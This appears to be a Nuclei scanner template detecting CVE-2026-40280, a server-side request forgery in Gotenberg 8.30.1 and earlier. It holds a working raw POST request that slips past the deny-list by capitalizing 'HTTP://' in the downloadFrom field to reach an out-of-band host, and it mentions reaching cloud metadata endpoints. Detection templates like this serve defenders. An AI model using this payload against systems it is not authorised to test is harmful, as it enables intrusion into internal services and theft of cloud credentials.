Gotenberg <= 8.30.1 - Server Side Request Forgery

id: CVE-2026-40280

info:
  name: Gotenberg <= 8.30.1 - Server Side Request Forgery
  author: str4k3r
  severity: critical
  description: |
    Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.
  impact: |
    Unauthenticated SSRF via the downloadFrom feature allows reaching internal services, cloud metadata endpoints, and loopback addresses from the Gotenberg server.
  remediation: This bypasses the same security control that was patched in CVE-2026-27018. This issue has been fixed in version 8.31.0.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5q7p-7jgv-ww56
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40280
    - https://github.com/gotenberg/gotenberg/commit/3f01ca18d3cc21375a1e2da4b5a3f261c8548e47
  classification:
    cve-id: CVE-2026-40280
    epss-score: 0.0195
    epss-percentile: 0.80395
    cwe-id: CWE-918
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
  metadata:
    verified: true
    max-request: 1
    vendor: thecodingmachine
    product: gotenberg
    shodan-query: http.html:"Gotenberg"
  tags: cve,cve2026,gotenberg,ssrf,downloadfrom,oast

http:
  - raw:
      - |
        POST /forms/chromium/convert/html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----gotenbergProbe

        ------gotenbergProbe
        Content-Disposition: form-data; name="files"; filename="index.html"
        Content-Type: text/html

        <html><body>ssrf-probe</body></html>
        ------gotenbergProbe
        Content-Disposition: form-data; name="downloadFrom"

        [{"url":"HTTP://{{interactsh-url}}"}]
        ------gotenbergProbe--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "Gotenberg"